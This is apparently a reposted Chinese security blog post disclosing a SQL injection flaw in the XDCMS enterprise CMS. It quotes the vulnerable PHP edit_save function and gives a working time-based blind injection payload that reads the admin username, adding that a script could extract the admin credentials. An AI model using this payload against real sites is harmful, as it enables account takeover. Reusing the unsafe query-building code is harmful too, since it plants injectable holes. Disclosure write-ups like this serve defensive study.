public function edit_save(){
$this->member_info();
$userid=intval(Cookie::_getcookie('member_userid'));
$fields=$_POST['fields'];
//???????
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='".safe_html($f_value)."'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}";
$query=$this->mysql->query($field_sql);

showmsg(C('update_success'),'index.php?m=member&f=edit');
}

只是 safe_html gpc关闭或者php高版本的话,单引号还是可以进去的。 过滤了很多,加上是 updata 。所以盲注延时。

修改抓包修改

fields%5Btruename%5D=a' or if(ascii(substr((select username from c_admin),1,1))-96,sleep(2),null) or '1

延时是成功的

XDCMS企业管理系统SQL #3 – 网站安全 – 自学php插图

 

可以写个脚本延时跑下。即可得到 管理账号密码

修复方案:

加强过滤

    上一篇: 某商业链系统通用任意文件上传漏洞,直接Getshe

    下一篇: 校无忧某系统POST注入 - 网站安全 - 自学php
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《XDCMS企业管理系统SQL #3 – 网站安全 – 自学php
   

还没有人抢沙发呢~